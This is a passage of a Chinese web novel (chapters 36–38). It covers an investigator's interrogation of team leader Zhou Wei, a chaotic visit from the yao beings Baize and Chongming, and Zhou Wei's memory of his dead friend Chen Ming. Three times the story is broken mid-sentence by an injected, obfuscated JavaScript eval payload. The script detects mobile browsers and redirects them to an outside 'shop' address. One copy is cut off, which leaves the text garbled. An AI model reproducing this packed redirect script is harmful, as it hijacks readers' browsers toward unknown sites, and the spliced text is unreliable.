他半个身子还在审讯室内,只仰腰探头,用了一个高难度动作露出头来看了看——这一看,就看到了正主。 只见一个身姿笔挺宛如标枪的年轻人跟在赵昌誉身边,行走之间利落如风,眼神沉稳果决,周纬立时心中有数,心道:“这就是季凌云了。” 然后就见周纬突然收敛了他那弹簧一样的站姿,垂手低眉,流露出了一点恰到好处的“故作乖顺”,规规矩矩地叫了句:“赵局。” 李默和何昭华也打了声招呼,身后申彦雪和杨小钱跟出了审讯室,也叫了声“组长”。 季凌云朝他们点了点头,赵昌誉则对周纬吹胡子瞪眼:“调查组的同志正在问话,你就直接这么闯进去,像什么样子!” “何必为难他们?”周纬虽然还低垂着眼帘,却鼻子不是鼻子、眉毛不是眉毛地嗤笑了一声:“有什么话直接问我呗?都钦差大臣了,手握尚方宝剑,还用得着这么拐弯抹角的?” "你!"脾气比较爆的杨小钱当即就忍不住了,立马就要开口呵斥,被申彦雪一拉胳膊肘儿。 而于此同时,就听季凌云突然说了一句:“可以。” 只见他转向赵昌誉,语气梆硬地问道:“赵局,我们接下来想要向周队了解一下情况,可以吗?” 赵昌誉用鼻子“哼”了一声道:“有什么不可以的?调查组要问话,我们珑湖局上下全体全力配合,周纬,你态度好点儿。” 说罢,转身就走。 周纬心里暗笑。赵昌誉的年纪差不多可以当季凌云的爹了,估计是被这个小辈撅了一把,心里也压着火儿,所以故意抽身走人。他虽然平时颇看不惯周纬轻佻的行事作风,却也知道周纬在大事上不会掉链子。他是周纬的领导,有他在这里,周纬不好发挥,于是干脆来了个遁身之术,让周纬自己对付这帮调查组的人。 不愧是在领导岗位上干久了的,老练周到不输徐培风。 赵昌誉一走,周纬就转向了季凌云,皮笑肉不笑道:“季组长,请吧?” 季凌云眉尖一挑,道:“好。” 于是新一轮的交锋开始了。 这回坐进审讯椅里的人变成了周纬。然而周纬可不是燕鹏飞,坐在审讯椅上既憋屈又拘束。他这一进审讯室,简直跟回家了似的,大大咧咧地往椅子上一坐,那张冰冷梆硬的钢椅简直被他坐出了王座的架势,那叫一个气定神闲、睥睨四方。 季凌云瞥了一眼周纬大马金刀的坐姿,没有做出任何评价,只是淡然地坐到了主审的位置上;而杨小钱则退了出去,由申彦雪来做季凌云的记录员。 只听季凌云首先开口:“既然燕组长刚刚说到了新莲码头一战,那就先从这里开始吧。不知周队对于自己在此次任务中的诸多违规行为,有没有什么解释?” “哦?”周纬摊手一笑:“我有什么违规行为?” “很多,不过我们不妨从最严重的一项说起。”季凌风对他轻慢的态度不以为忤,平静道:“请问周队为什么在没有提前报备的情况下,擅自解开了监察员李默的灵枷?” “很简单,情势所迫。”周纬安安稳稳地道:“当时的情景,如果不解封灵枷,我们在场的所有监察员只有三个下场:要么被火鼠群吃干抹净,要么被翼手蝠啃到渣都不剩,要么被危险化学品爆炸轰飞上天——季组长,如果是你,你选哪一个?” “请不要反问我,周队。”季凌云平板无波地开口:“我们现在是在就你的违规行为进行问询——但我可以回答你刚刚那个问题,我会选择将所有的风险提前规避排除。” “嗯?”周纬一挑眉:“怎么提前规避排除?” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100653|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会行动开始之前就设想到一切可能出现的情况,做好充足准备。”季凌云坐姿端正,双手指尖相对,语气平缓清晰:“我会提前调查战场环境,做出若干行动预案,来应对一切可能的突发状况;如果我经过分析评估,认为本次任务可能会出现我所无法应对的风险,我会选择提前申请解封灵枷以借助妖类监察员的力量,或者干脆取消行动。” “‘设想到一切可能出现的情况’?”周纬毫不客气地“呵”了一声:“战场局势瞬息万变,季组长这句话,不觉得有点大言不惭吗?” “随机应变和周密筹谋一样,都是作为指挥者必备的基本素养。”季凌风淡然道:“如果确实出现了什么我未能预料到变数,那我也会尽力补救,哪怕粉身碎骨,也绝不会让战友和同事受我牵累。” 周纬一声冷笑——季凌云这话仿佛是在质问他,为什么没有为了弥补自己战略上的失误而死在新莲码头上。 两人不过几轮问答,周纬就已经发现了,自己跟这位异监局总部的“明日之星”委实不是一路人,双方根本尿不到一个壶里。他为数不多的耐心顿时宣告耗罄,身形往后一靠,把自己倚靠在了椅背上,拎起削薄的眼皮,冷刀子一样地刮季凌风一眼,话锋突转道:“季组长既然这么明察秋毫、刚正不阿,不知道对总部内部的违规行为怎么看?” 季凌云不接他的招:“请周队不要转移话题,我们现在讨论的是你在新莲码头一战中的违……” 周纬直截了当地开了口:“你们放跑了一个妖犯。” 季凌云的话音一滞,申彦雪一直在噼里啪啦打字的声音也骤然停下了。 两人同时愕然一愣:“什么?” 季凌云那张万年不变的冰山脸上终于出现了别的神情,他微微皱起眉头:“周队,请你不要胡言乱语,做出这种指控可是很严重的行为。” “我胡言乱语,总比你们总部全他妈是酒囊饭袋强。”周纬甩出一个U盘扔在了桌子上。 季凌云跟申彦雪交换了一个眼神,申彦雪点了点头,拿过U盘插进电脑,里面正是周纬从加油站拷贝回来的监控视频。 “昨夜11点52分,在滨海北路附近加油站,监控视频拍到了一辆改装面包车,车窗上贴着黑色防窥膜,膜上倒映出了一个人影。”周纬语气冰冷道:“这个人是十四年前在珑湖被逮捕的B级妖类钦原,案件号珑-02629S,处决批文文号B1079,总部官网记录,他已经应该已经在十四年前的11月7日,上午9点45分,被执行处决命令。” 周纬的目光森冷如刀,径直刺向季凌风:“这件事,总部是不是该有个解释?” 这回,就连审讯室外的杨小钱和何昭华也坐不住了,杨小钱径直推开门跑了进来,调查组三个人三个脑袋,齐齐凑在笔电前盯着那个剪影,随后抬头面面相觑。 连何昭华闯进来看了一眼之后也满脸错愕:“这……” 杨小钱说话最为直接,直接从鼻子里“哼”出来一股气:“这能看出来个屁。” 申彦雪面容严肃,说得倒是全面了些:“这个倒影严重失真,基本只能看出来是一个人形轮廓,缺乏一切能够识别身份的必要因素。我个人认为,不能用以作为鉴定身份的凭据。” 季凌云则是直接看向了周纬。 “季组长不是对自己很自信么?”周纬的目光冷若冰霜,毫不客气地道:“我也是。在这个妖犯钦原的问题上,我说他是他就是。” 申彦雪和杨小钱都被这句毫无逻辑的断言震惊了。 然而季凌云凝视着周纬,久久不言。 半晌,他突然开口道:“是因为这个钦原杀死了你的朋友么?” 周纬垂放在大腿上的手指突然痉挛似的剧烈一抽;审讯室外,李默无声地抬起头来。 “你既然能清楚地背出当年的案件编号和处决文号,甚至钦原被行刑的具体时间,可见多年以来,你心里一直没有放下过这起案子。”季凌风眉头紧皱,仿佛在严肃衡量评估周纬的精神状态:“我有理由怀疑,当年的案件对你的心理状态造成了严重的负面影响,这种负面影响很可能会干扰到你作为监察队长的能力和判断力。” 周纬双拳紧握,齿关咬得死紧,从牙缝里逼出了一句:“……你是在说我疯了。” “执念成魔障,这是显而易见的事实。”季凌风严肃道:“在与妖类交锋的战场上,有过惨痛经历的不止周队你一个。有许多监察员曾经身心受创、难以恢复,还有的妻离子散、家破人亡……” 周纬忍无可忍地低吼:“够了!” “你不能因为你害死了自己的朋友,就放任这种愧疚感吞噬理智,把眼前的一切视作假想敌,”季凌云道:“这是妄想……” 周纬“砰”的一拍桌子站了起来,身后钢椅猛然翻倒在地;与此同时,李默的身影骤然一闪,出现在周纬身后。 然而还不等双方再有什么动作,整个市局大楼突然警铃大作! 周纬、李默和何昭华身形猛地一滞。周纬像是被人当头泼了一盆冷水,翻涌上头的熊熊怒火骤然熄灭,他跟何昭华对视一眼,同时从对方眼中看到了惊骇。 这个警报声不到一个月前刚刚响过一次—— 就是在李默来到异监局的那天! 这是又有妖类打上门来了?最近这些妖类是流行到异监局来踢馆吗?! 与此同时,市局大楼正门口。 一个一身白大褂、发色雪白雪白的青年双手插兜,一脚踢开了珑湖市局大门, “周纬呢?叫他出来!”白发青年趾高气扬,嚣张大叫道:“跟他说,债主找他讨债来了!” 37.白泽 骤然大作的警铃声将全局上下都惊动了,刹那间无数监察员从各处潮水般涌了出来,团团围住了大厅中央的白发青年。 “呵,这么大阵仗欢迎我?” 然而此人好像全然没有察觉到威胁,对周围紧绷的氛围视若无睹,饶有兴致地伸头探脑道:“诶,你们的队长周围呢?叫他出来,我是来找他麻烦的。” 那名被他答话的监察员:“……” 这位大哥你说话是否有些过于直接了?! 他一抬手中的灵力枪,黑洞洞的枪口对准了白发青年,怒吼道:“你是什么人?为什么擅闯异监局?!” “哈?”没想到这人回了他一个匪夷所思的表情,双眼瞪得溜圆:“不是吧?你连我都不认识?” 恰在此刻,周纬和季凌云等人也赶到了楼下。 他们两帮人是一起从审讯室下来的,周纬和季凌云两人一马当先,率先赶到了大厅,一见大厅中央的白发青年,两人几乎是同时脱口而出: “白泽?!” 白发青年闻声回头,一眼在人群中锁定了周纬,双眼骤然一亮:“啊哈!” 所有人都被他这一句突如其来的“啊哈!”惊得倒退一步。 直到此时,刚刚那名被搭话的监察员才猛然响了起来,他确实应该是见过这名青年的——在异监局的数据库里。 异监局的数据库中,所有已知的妖类按等级划分,都有着明确的名录。其中S级妖类单独划分一个档次,里面记载了所有已知身份的S级大妖,包括他们真身、社会身份、妖力特性、发现的时间地点和履历等,当然也有他们的人身画像,基本所有的监察员都见过。 但也不能怪他一时没有把资料和真人对应起来——这人的形象委实有点颠覆人类对于S级大妖的刻板印象。 只见那人看模样最多只有二十来岁,容貌倒是颇为清秀,只是神态过于嚣张,感觉像是习惯了鼻孔朝天看人似的。他戴着一片花里胡哨的单片金丝眼镜,身上穿了一件白大褂,脖子上围了一根及膝的白色长围巾,跟《上海滩》看多了中毒一样,一头长发雪白雪白,扎成了一束垂到胸前,长发末端还坠了颗小指大小的红珠子,怎么看怎么有点……中二病。 这身装扮拿到漫展上出cos还好,放在现实里,大概只能得到一句“此人多半有病”的评价。 白泽就是来找周纬算账的,一见他露面当即横眉怒目:“周纬!你小子居然敢坑我!” “你知道夜市那个老不死的追我追得有多狠吗?!”他跳着脚控诉:“我从长白山下来就被他们堵住了,为了躲开他们不得不徒步横穿了整个蒙古,最后在西伯利亚的冰原上啃了半个月的树皮!” 众人:“……” 那听起来还真是挺惨的。 白泽越说越气急败坏,上来就要去拉周纬:“你小子这次打算怎么赔我——” 然而还没等他抓到周纬,伸出的手就被人“啪”的一下攥住了。 只见李默横身挡在周纬面前,眉心微蹙:“你真的是白泽?” 周围所有人顿时倒吸一口凉气。 这个自称“白泽”的青年身材清瘦,比李默矮了整整一个头,两人在近距离对峙,体型差对比实在是太明显突兀了。李默捏着他的腕骨,竟然给人一种下一秒就能把他直接拎起来的错觉,就跟老鹰捉小鸡似的。 然而这可是S级!两人之间整整差了一个等级,而且这人敢单枪匹马闯进异监局,必定是有几分倚仗——李默怎么敢的?! 然而出乎意料的是,白泽骤然遭遇到李默的阻拦,竟然没有发火,只是翻了个简直要上天的白眼:“我不是,难道你是啊?” 李默:“……” 他突然有点相信这人是白泽了——难怪他能跟周纬关系好,这两人在某种时候,身上竟然有一种如出一辙的欠揍。 只是他仍然十分疑惑。 同为妖类,彼此之间是有所感应的,尤其是像李默这种感知力极其敏感的妖类,轻易不会认错自己的同类。而高位妖类对于下位同类的压迫和震慑之势是与生俱来的,哪怕是刻意收敛气息也很难消除或隐藏——这是妖类对于同类的一种天生的警惕和戒惧之心。 妖类彼此吞噬妖核可以增长妖力,所以在千百年前众妖横行的时代,在野外碰到的任何同类,都有可能是自己潜在的敌人。弱小者被吞噬,强大者则想要吞噬别人更进一步——无论是避战还是求战,感知对方的实力都是必不可少的一环。 因此妖类之间才诞生了这种对同类极其敏锐的感知力,因为在人类式微的时候,妖类同族就是彼此之间最大的威胁。 然而诡异的是,李默从面前的这个“白泽”身上,却感应不到任何身为“妖类”的感觉。 别说S级大妖对他这个A级所应该形成的天然压迫了,从他身上,李默甚至连一丝身为“妖”的味道和气息都感觉不到。如果不是亲眼看着他站在自己面前,单以感知论,李默的眼前甚至应该是一片空白的——感知告诉他面前根本就没有“白泽”这么一个妖类。 所以这人真的是白泽吗?世界上真的会有这样的妖类? 就在这时,周纬出声了:“李默,放手。” 他把李默的手按了下来,低声道:“他真的是白泽。” 李默垂眸扫了他一眼,随即应声松开了自己的手。周纬跨前一步,面向白泽:“所以你到底是来干嘛的?” 他刚刚在审讯室与季凌云经历了一场针锋相对,此刻怒火未熄,眉宇之间还有些阴郁,声调也比平常低了很多。白泽正龇牙咧嘴地揉着自己刚被李默攥疼的地方,一看他这模样顿时更来气了,暴跳如雷道:“你还好意思说?谁让你在夜市出卖我的?!” “哦。”周纬道:“是我干的,那又怎样?” 白泽:“……” 所有人都轰然绝倒,连李默听了这话都一阵哭笑不得——这话说得跟周纬当初在夜市,当着魏观烛的面承认是自己动武犯禁时一模一样。 既然已经没事了,周纬便挥退了众人。很快众多监察员们都纷纷散去,大厅重新空旷起来,周纬这才重新面向白泽:“怎么是你一个人出来的?重明呢?” 白泽眉尖一挑,不满道:“怎么我非得跟他一起才能出门吗?我是他的什么挂件吗?” “所以你又是自己一个人跑出来的?”周纬立时皱眉:“你有什么事就不能打个电话吗?” 白泽登时勃然大怒:“你不是把我拉黑了吗?!” 周纬:“……” 哦对,他都忘了他还干过这档子事了。 白泽一把上来抓住他:“走走走,你快跟我走,咱们俩今天必须算算总账……” 然而这次还没李默做什么,旁边就有个人先开口了。 季凌云道:“慢着。” 白泽炸毛了:“又是谁啊?!” 季凌云越众而出,不卑不亢道:“白泽先生好,晚辈季凌云。” 白泽显然不认识“季凌云”是哪根葱,上下打量了他一番,高高挑起了一边的眉毛,道:“小子,你谁啊?” 季凌云没理他这句问话,只见态度恭敬,语气却坚决地道:“白泽先生,恐怕今天您不能带走周队。” 白泽一愣:“为什么?” 季凌云:“因为周队正在接受问询,问话还没结束,他不能离开。” 这话显然听在白泽耳朵里就跟放屁没什么区别。他望天翻了个白眼,根本懒得搭理他,拖着周纬就要往外走,没想到季凌云身形忽然一闪,周围人眼前一花,就见他突然出现在了门口,正挡在白泽和周纬离开的必经之路上。 季凌云彬彬有礼道:“希望白泽先生不要让晚辈为难。” 白泽眉毛一竖:“你想打架?” 季凌云道:“哪怕是您是S级妖类,也不能挑战异监局的威严。请恕晚辈今日不能让您带走周队,如有必要,晚辈愿向先生讨教一二。” 周围人顿时大惊失色。 虽然季凌云向来对谁都不假辞色,但这也棒槌得太过分了——公然挑战S级大妖,这人脑子里到底是有多大个坑! 然而没想到,白泽却依然没有因此动怒。 这人一方面似乎脾气非常暴躁,然而另一方面,不管别人怎么三番四次地挑衅阻挡,他似乎也都没有一巴掌将眼前人拍死的意思。也许是因为离得近了,也或许是因为季凌云刚刚的身法触动了某些回忆,白泽脸上突然露出了些许思索的神色。 他上下打量了季凌云一番,嘴里喃喃自语道:“等等,凌云……凌云……你是季家那个小娃娃?你老爹是不是季正阳?” 季凌云略微躬身行礼道:“正是家父。” 白泽突然笑了。 “原来是你啊!这么说骆明章把凌云剑传给你了?”白泽笑得一脸阳光开朗:“那老混蛋得有七八十了吧?还没翘辫子呢?” 此言一出,申彦雪和杨小钱脸色登时大变。 别人可能不知道,但他们俩可是知道得一清二楚——季凌云此人半生学剑,从三岁起就跟骆明章待在一起,跟他老师的感情比跟他父亲季正阳的感情还深,他这种又轴又犟的性格大半也是因此而来——如今有人当着他的面这么侮辱他老师,恐怕是要出事的! 果然,只见季凌云先是一愣,随即,他的脸上涌起一阵勃然怒色:“你说什么?!” 这个年轻人自现身以来就一直是一副不疾不徐的样子,哪怕在审讯室跟周纬针锋相对,他也始终是一副油盐不进、一板一眼的姿态,情绪自始至终都没有什么太大波动。然而此刻,他俊朗的脸上突然流露出一股强烈的怒意,眼中喷发的怒火完全遏制不住。 只听“呛”的一声,季凌云右手一挥,长袖中一道金属色的液体骤然涌出,刹那间在他手中化作一柄寒光四射的利剑,直指白泽胸口——竟是直接动了兵刃! 周纬一步跨出,将白泽挡在了身后。 “周纬,你让开。”季凌云面如寒霜:“白泽,你咒骂恩师,此仇不报,季凌云枉为恩师弟子。” 白泽脸上流露出鲜明的“此人是不是有病”的神色。 季凌云:“动手吧!” “动个屁手啊!我他妈是医生啊!我要动什么手?!”白泽额角青筋暴跳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白泽和重明这两个妖类,言谈举止之间似乎都对周纬很熟悉;然而周纬却对这两位不怎么热情——不然以他的性格,这时候早就该跳上去勾肩搭背地聊起来了。 “这人还给你。”周纬说着,把白泽往前一推:“至于他招惹的那个人,你自己看着办。” 重明脸上微笑不变:“好。” 季凌云顿时将警惕的目光投向了他。 然后就见重明伸手拉过白泽,解开他脖子上的那条白色长围巾,熟练地绕着他的嘴缠了两圈,给他把嘴封上了。 白泽:“呜呜唔唔@#¥%…&!!!” 季凌风:“……” 众人:“……” 不知道他说了什么,但总感觉骂得很脏。 重明轻车熟路地反剪过白泽的胳膊,用围巾当绳子给他上上下下捆了个结实,给这位堂堂S级大妖来了个五花大绑,把他绑得宛如一只待宰杀的年猪。然后他轻巧地伸手一抄,麻袋似的就把白泽扛到了肩上,完全忽略了白泽的翻腾和挣扎,他对着面前众人微微一躬身,俊朗的脸上满是真诚的歉意:“不好意思,给大家添麻烦了。” 众人一脸“发生了什么”的呆滞。 “我这就带他回去,不打扰大家工作了,各位再会。” 说罢,重明一转身,肩上扛着个打包好的白泽,身形就跟瞬移似的,迅速消失在了市局大楼门外。 众人:“……” 在场所有人都是一副茫然的表情。杨小钱一脸混乱道:“等等,他这就走了?……不是,这俩人到底是来干什么的?单纯捣乱吗?” 这句话属实说出了在场所有人的心声。 被白泽和重明这么一搅和,原来的问询也进行不下去了。季凌云依然脸色沉郁,身上却不再散发着那种锋锐凛然的怒意,那柄泛着淡金色微芒的长剑又自动融化,水流似的顺着他的小臂回到了袖管中,他转身看向了周纬。 “周队,今天的问询并没有结束。”他道:“接下来我们可能还会随时找你了解情况,请你配合。” 周纬:“随便吧。” 他的脸色竟然十分疲惫似的。 调查组和异监局众人都散去了,只有李默留了下来。 他来到周纬身边,看了看他的脸色,道:“你要去追白泽他们么?” 周纬道:“不。” 他的神色倦怠 ,神情恹恹的,眼睫低垂。李默忽然有种感觉,周纬现在似乎更想找个东西靠一靠,自己一个人坐一会儿。 然而周纬沉默了片刻,抬头看向了李默。 阳光从门口洒进来,在他的脸上铺下一层柔和的侧影。他开口道:“你有没有什么想要问我的?” 李默眼中闪过片刻的迟疑。 上次周纬问出这个问题,他的回答是:“若你不想说,那么不必告诉我。” 然而这次,他只犹豫了一瞬,就给出了一个坚定的答案:“我有。” 周纬笑了。 那是一个轻松、释然,却又身心俱疲的笑容。 他禁不住想,李默,你这么好,以后可让我怎么办呢? “我知道你想问什么。”周纬转身,朝市局外明媚的阳光走去,任灿烂的光芒将他的身姿映成一个单薄的影子: “走吧,我把一切都告诉你。” 38.往昔 “你可以放下对白泽的一切道听图说的刻板印象和滤镜了,”周纬道:“那家伙确实是个二货。” 此刻他们正在车上。周纬一如既往地下了玻璃,一肘支在车窗窗框上,懒散地把着方向盘,只是没再开他那丧心病狂的音乐。 路虎一路朝着郊外驶去。 “异监局对是S级妖类的定义是不受灵枷压制,但这个‘不受压制’也分很多种情况,白泽就属于比较特殊的那一类。”周纬道:“任何仪器都无法检测出他的妖力,用妖类和灵力者人工感应也感应不到。既然没有妖力,自然不受灵枷控制,再加上他强烈要求,总部才给他安了个‘S级’的名头。” 李默诧异道:“强烈要求?” “嗯,”周纬淡淡地说:“他在雍京总部门口拉横幅抗议来着,还说如果不给他评S级,他就要给总部大门泼红油漆。” 李默:“……” 这位传说级的神兽真是……无愧“神兽”之名。 “但是这怎么可能呢?”李默回忆起自己初见白泽时的感觉,有些想不通:“我也确实没有感应到他的妖力威压……但是一个妖类怎么会没有妖力呢?” “不清楚。他自己说他一生下来就这样,所以自己也不知道为什么。”周纬耸了耸肩:“谁知道呢?他活得太久了,这种事也没办法求证。” 李默看向他:“你是怎么认识他的?” 周纬淡道:“捡到的。” “三年前我主持搜查一起灵药走私案,跟着搜查船上了公海,在南海海域附近把他捞起来的。他当时趴在一块破木板上,浑身长满了了海草和藤壶,泡得像块抹布,说是已经在海上漂了半个月了。”周纬道:“把他捞起来之后,他一个人吃掉了我们半支搜查队的储备粮。后来我们问他有没有别的遇难者,他说他是乘着一艘小渔船出发的,船上只有他一个人,本来打算偷渡到南美洲去,结果出发不到三天就遇到了暴风雨,这才在公海上一路漂到了现在。” “……”李默疑惑道:“他那位保护者——重明呢?” 周纬瞥了他一眼:“你觉得他是为什么想要偷渡到南美洲去?” 李默:“……” 这两人之间的关系还真是复杂奇妙。 “总之吧,白泽这个人能现在,一来是他身为妖类确实比较难死,二来应该大部分都是重明的功劳。”周纬道:“不过他在别的地方上不靠谱,在医术上还是可以的。那起灵药走私案他立下了很大的功劳,多亏他破解了几种关键的稀有原材料,我们才能顺藤摸瓜找到了走私犯的老巢。回来之后他就在珑湖定居了下来,我给他找了处院子,让他在城南开了个小医馆,勉强能养活自己。” “这么说你算他的房东。”李默道:“难怪你不怕得罪他。” “嗯。”周纬的声调始终没有什么起伏。 他的讲述似乎就到此结束了,没提他跟白泽之间更多的交集,也没提他那稀奇古怪的烟是怎么来的。 李默望向他。周纬柔软的额发被风吹起,露出了他的眉眼。他的眼睛始终望向前方,眉宇之间不见了平时那种飞扬跳脱的神色,罕见地沉静了下来,一眼看上去,竟透出一股异样的平静。 李默知道,他要告诉自己的,不是关于白泽的事。 他也抬头往前方看去。他们已经出了城郊,前方公路蜿蜒绵长,在不远处分出了一条岔路,往周边的山上延伸而去。周纬轻打方向盘,路虎顺从地开上了上山的公路,他们已经快要到达目的地了。 * 午后的风轻柔温和,松柏苍翠婆娑,远处的青山舒展优美的线条,近处绵延无际的青青草坪上,一排墓碑安静地沉睡着。 李默没有想到,周纬直接带他来到了一处墓园。 他跟在周纬身后,看着他轻车熟路的走过排排小径。越往前走,他的表情就越柔和安详,那种平静而带着些许倦怠的神色从他脸上褪去了,他的脚步变得舒缓而轻松起来,嘴角也微微抬起,似乎回到了一个可以令他全然放松的地方,回到了他的心栖之处。 这是一处私人墓园,价格昂贵,管理与维护都极为妥善。李默跟着周纬往墓园中央走了片刻,终于在一处墓碑前停了下来。那是一块黑色的大理石碑,看得出来有些年头了,只是仍旧被保养得很好,墓碑上的少年神态朗爽,微笑地注视着往来生人。 李默看了看墓碑上的名字和生卒年月——陈洺,十七岁,距今已经有十四年了。 立碑人那里,写的是“珑湖市锦安福利院全体”。 “阿洺,我带朋友来看你了。”周纬微笑道。 微风习习,草木青青。 周纬完全放松了下来。他坐在了墓碑前的小径上,支起一条腿,手肘搭放在膝盖上,姿态甚至有些淡然和悠闲。 李默也随着他盘腿席地而坐,两条大长腿交叠在一起。两排墓碑之间的小径并不宽敞,对于李默这个身高来说多少显得有些局促,他左摇右晃地调整了很久,看得周纬不由一哂。 他道:“我有没有告诉过你,珑湖市异监局上一任局长邢海峰,是我18岁之前监护人?” 李默安静地望着他,听他说。 “我父母死后,邢叔叔曾经想过要收养我,但我拒绝了。他当时是珑湖市局的监察执法队长,而我当时打定主意,绝不再跟这些灵力者啊妖类啊之类怪力乱神的事情搅和在一起,于是坚决拒绝了他,宁可去住福利院。” 周纬讲述得很突兀。他没有说明自己父母的死因,也没有解释自己为什么不愿意再涉入超自然世界,只是自顾自地说了下去。而李默也只是安静地听着,并没有打断他。 周纬道:“我就是在福利院里,遇到了阿洺。” “阿洺比我大几个月,我们俩住同一间屋子。他的身体不太好,是‘先心’,家里人可能觉得这孩子养不活,扔在火车站了。”周纬望着墓碑上不老的少年,微微笑了一下:“是他们有眼无珠。阿洺其实从小到大身体都很好,他特别注意保养,连病都很少生。” “我小时候不学好,不好好读书,总是跟着一群乱七八糟的人鬼混,是个混世魔王。当时福利院的老师恨不得一天打我八顿,生怕院里哪天出个少年犯。”周纬自嘲地一笑:“阿洺不一样,他脾气很好,很安静,话有点少,但别人跟他说话从来不会不理人。我一直都觉得,阿洺要是在一个普通人家长大,应该就是家长嘴里的那些‘别人家的孩子’。” “他学习成绩也很好,跟我们院里其他的皮猴子不一样。可能是因为身体原因,不能做剧烈活动,就把剩下的时间都用来用功了。” 遥远的记忆跨越时光而来,犹如一张泛黄褪色的照片重新渲染上色彩。黑色墓碑上少年的微笑重新变得温暖,宛如那段永远带着暖黄色阳光滤镜的青春岁月。 “发生改变是在高二那年。那一年阿洺恋爱了,是暗恋。他喜欢上了我们同校的一个女孩,名叫陈筱曼,可巧,跟他同姓。” “阿洺身体不好,多少有些自卑,没打算跟女孩表白。结果我们几个混小子作孽,伪装成他的语气给筱曼写了封匿名情书,约她放学后在学校小树林见面。阿洺听说之后第一次发了火,狠狠骂了我们一顿,吓得我们差点以为他要心脏病发作。结果骂完之后他还是去了小树林,没想到筱曼真的来了,还在那里等了很久。” “阿洺本来想跟筱曼说清楚,筱曼原本也是想劝写情书的人放弃。结果也不知道他们俩那晚具体说了什么,总之最后的结果变成了,两人相约一起高考,冲刺重本线。” 周纬哭笑不得:“学霸的恋爱,我们这些学渣都谈不懂。” 李默无奈地看着他,目光温柔沉静。 “阿洺想当医生,他一直想彻底治好自己的病。筱曼的生物也学得很好,她一直说自己想成为林巧稚那样的人。他们两个是革命战友,我们这些不学无术的也不好太拖后腿,只好变着法儿给阿洺加油打气,鼓励他前途女神一把抓。”说起年少时的荒唐事,周纬不由失笑:“当时为了给他鼓劲,我们也装模作样地跟着一起刻苦,早起背书比谁的嗓门大,考试完了成绩最低的给其他人打一个月的洗脚水。” “没想到装模作样一年多,还真出了点成绩。高考查分那一天,我们专门找了个网吧,最后欢呼声音太大惊扰了其他顾客,差点集体挨揍。” 他抬头,望向墓碑上永恒微笑着的少年,目光柔和,像是在对着近在咫尺的人说话:“……那真是我这辈子过得,最轻松快乐的一段日子。” 那时他们是一群不知天高地厚的少年,彼此眼里只有兄弟和友情,熬过了一年多的拼搏,自以为给自己争得了一个好前程。那时他们以为天宽地阔,信马由缰,未来光阴无限,他们这些无依无靠、从不被上天垂怜的孤儿们,总有一天也能“混出个人样儿”。 那时的周纬也曾觉得,自己可以像个普通人一样,平凡庸碌地过完一生。 谁有没想过“命运无常”这四个字,会这么猝不及防地落到自己头上。 “阿洺和筱曼的成绩都很好,筱曼的稍高一点,阿洺也差的不多,重本肯定是妥了。那天晚上他们俩约定好一起商量怎么填志愿,我们整个福利院都轰动了,说这可是第一次有人能成功约到女神,必须当成头等大事来办。” “我们凑了钱,先是领阿洺去买衣服、做头发,又为了到底给他买99支还是101支玫瑰花吵了半小时,最后差点打了一架。”周纬回忆着当初的场景,笑得打跌:“你真该看看阿洺当时的表情,哈哈,他脸都绿了……” 李默的心却缓缓地沉了下去。 果然,周纬乐了片刻,笑容缓缓收敛了。 “那天,我们像嫁女儿一样把阿洺送了出去,告诉他没法转正成正牌男友就别回来。”他轻声道:“……他果然再也没有回来。” 记忆如同一道裂隙一般纵贯大地,一半光明,一半是无底的深渊。 “其实我早该有所察觉……阿洺失踪之前,珑湖就已经发生了五起命案。因为死的都是灵力者,尸体残缺不全,异监局怕引起社会恐慌,没有直接将这些案件作为连环杀人案报道,但是只要是关注新闻的灵力者,都能看出门道。”周纬的脸色缓缓阴沉了下来:“为了让灵力者们提高警惕,当时市内所有登记过的灵力者都接到了异监局的通知。我也接到过邢叔叔的提醒,可是……” 他轻声道:“可是我挂断了邢叔叔的电话,没往心里去。” “关我屁事,我已经跟你们没关系了。”他记得他当时跟邢海峰是这么说的。 那时他年少无知,一意孤行,被愚蠢和叛逆占据了头脑,单方面地在自己和那个属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108952|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于灵力者的世界之间筑起了一道坚不可摧的藩篱。 ……却从未想过这道藩篱会要了自己挚友的性命。 “阿洺失踪之后,我们找了三天……三天之后,警方才在一处废弃的烂尾楼中找到了他们。他们……” 周纬狠狠闭上了眼睛。 他想起了那个暴雨之夜。 那一夜他在狂风暴雨中疯狂地奔跑,仿佛只要跑得够快,他就能把那一对少年男女惊恐绝望的眼神抛在脑后。那一夜银蛇横空,街道上污水横流,他赤脚踩过所有的雨水,跑过长长的空无一人的街巷,觉得身边每一扇黑洞洞的窗户都是一只空洞噬人的眼睛,跑过的每一道阴影后都跟着死不瞑目的鬼魂。 最终他跑到了邢海峰的家,浑身湿透,双脚鲜血淋漓,跪在他家门口,叩响了那扇被他亲手封闭了十多年的大门。 他对邢海峰开口说的第一句话是:“把灵晔给我。” 人生是不能走回头路的。 因为每一次回头,都是在亲手杀死那个过去的自己。 